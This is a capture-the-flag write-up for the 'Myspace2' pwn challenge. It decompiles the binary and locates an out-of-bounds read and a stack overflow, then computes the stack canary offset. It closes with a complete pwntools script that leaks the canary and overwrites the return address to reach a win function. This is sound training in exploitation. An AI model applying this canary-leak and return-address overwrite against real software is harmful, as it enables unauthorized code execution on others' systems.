Myspace2
a ret2win with canary bypass pwn challenge

given an ELF file.

we see here the ELF file has a stack canary. Then we run the program

then we decompile the program using ghidra
main:
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
char local_38 [40];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setvbuf(stdout,(char *)0x0,2,0);
puts("I really miss MySpace. At least the part about ranking my friends. Let\'s recreate it!");
local_78 = 0x6e316e337365;
local_70 = 0x6f72655a;
local_68 = 0x6e6f72746e6f43;
local_60 = 0x317978696d;
local_58 = 0x4c68736f4a;
local_50 = 0x70707070616947;
local_48 = 0x746e6f6673656349;
local_40 = 0x78636974637261;
LAB_00401636:
menu();
fgets(local_38,0x28,stdin);
iVar1 = FUN_00401160(local_38);
if (iVar1 == 4) {
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
if (iVar1 < 5) {
if (iVar1 == 3) {
display_friend(&local_78);
goto LAB_00401636;
}
if (iVar1 < 4) {
if (iVar1 == 1) {
all_friends(&local_78);
}
else {
if (iVar1 != 2) goto LAB_004016cd;
edit_friend(&local_78);
}
goto LAB_00401636;
}
}
LAB_004016cd:
puts("Invalid option.");
goto LAB_00401636;
}
this ELF has two vulnerabilities. one at edit_friend and another at display_friend.
void edit_friend(long param_1)
{
int iVar1;
size_t sVar2;
long in_FS_OFFSET;
char local_48 [40];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
puts("\nEnter index to edit (0-7): ");
fgets(local_48,0x20,stdin);
iVar1 = FUN_00401160(local_48);
if ((iVar1 < 0) || (7 < iVar1)) {
puts("Invalid index!");
}
else {
puts("Enter new name: ");
fgets((char *)((long)iVar1 * 8 + param_1),0x100,stdin);
sVar2 = strcspn((char *)(param_1 + (long)iVar1 * 8),"\n");
*(undefined *)((long)iVar1 * 8 + param_1 + sVar2) = 0;
puts("Friend updated.");
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
void display_friend(long param_1)
{
int iVar1;
long in_FS_OFFSET;
char local_28 [24];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("\nEnter index to display (0-7): ");
fgets(local_28,0x10,stdin);
iVar1 = FUN_00401160(local_28);
if ((iVar1 < 0) || (7 < iVar1)) {
puts("Invalid index!");
}
write(1,(void *)(param_1 + (long)iVar1 * 8),8);
if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return;
}
now for the exploit part. first we leak canary by exploiting arbitrary read vuln at display_friend then we ret2win by exploiting buffer overflow vuln at edit_friend.
we then use gdb to see the memory offsets
gdb-peda$ disass main
Dump of assembler code for function main:
0x0000000000401584 <+0>: endbr64
0x0000000000401588 <+4>: push rbp
0x0000000000401589 <+5>: mov rbp,rsp
0x000000000040158c <+8>: add rsp,0xffffffffffffff80
0x0000000000401590 <+12>: mov rax,QWORD PTR fs:0x28
0x0000000000401599 <+21>: mov QWORD PTR [rbp-0x8],rax
0x000000000040159d <+25>: xor eax,eax
0x000000000040159f <+27>: mov rax,QWORD PTR [rip+0x2aba] # 0x404060 <stdout@GLIBC_2.2.5>
0x00000000004015a6 <+34>: mov ecx,0x0
0x00000000004015ab <+39>: mov edx,0x2
0x00000000004015b0 <+44>: mov esi,0x0
0x00000000004015b5 <+49>: mov rdi,rax
0x00000000004015b8 <+52>: call 0x401150 <setvbuf@plt>
0x00000000004015bd <+57>: lea rax,[rip+0xb24] # 0x4020e8
0x00000000004015c4 <+64>: mov rdi,rax
0x00000000004015c7 <+67>: call 0x4010d0 <puts@plt>
0x00000000004015cc <+72>: movabs rax,0x6e316e337365
0x00000000004015d6 <+82>: mov QWORD PTR [rbp-0x70],rax
this might seem confusing, but when we combine with ghidra decompile info, we know that main <+82> is where 'friends' array started and it is stored in rbp-0x70. We can also see where the canary is located, which is main <+21> and is stored in rbp-0x8.
Now we can calculate the offsets:
friends to canary:
Offset = (Canary addr) - (Friends beginning addr)
Offset = (rbp-0x8) - (rbp-0x70)
Offset = -0x8 + 0x70 = 0x68 bytes (104 in decimal)
Canary leak:
Display_friend() function reads address from friends_addr + index * 8.
Canary_addr = friends_addr + index * 8
(friends_addr) + 0x68 = (friends_addr) + index * 8
0x68 = index * 8
index = 0x68/8 = 104/8 = 13
now after we got all the offsets we construct our exploit:
from pwn import *
#p = process('./myspace2')
p = remote('myspace2.chal.idek.team', 1337)
def leak(index):
p.sendlineafter(b'>>', b'3')
p.sendlineafter(b'Enter index to display (0-7):', str(index).encode())
p.recvuntil(b'Invalid index!\n')
leaked = p.recv(8)
return u64(leaked)
# Leak canary
canary = leak(13)
print(f"Canary: {hex(canary)}")
p.sendlineafter(b'>>', b'2')
p.sendlineafter(b'Enter index to edit (0-7):', b'0')
payload = b"A" * 104
payload += p64(canary)
payload += b"B" * 8
payload += p64(0x40129d) # get_flag
p.sendlineafter(b'Enter new name:', payload)
p.sendlineafter(b'>>', b'4')
p.interactive()
Flag: idek{b4bys_1st_c00k1e_leak_yayyy!}
Last updated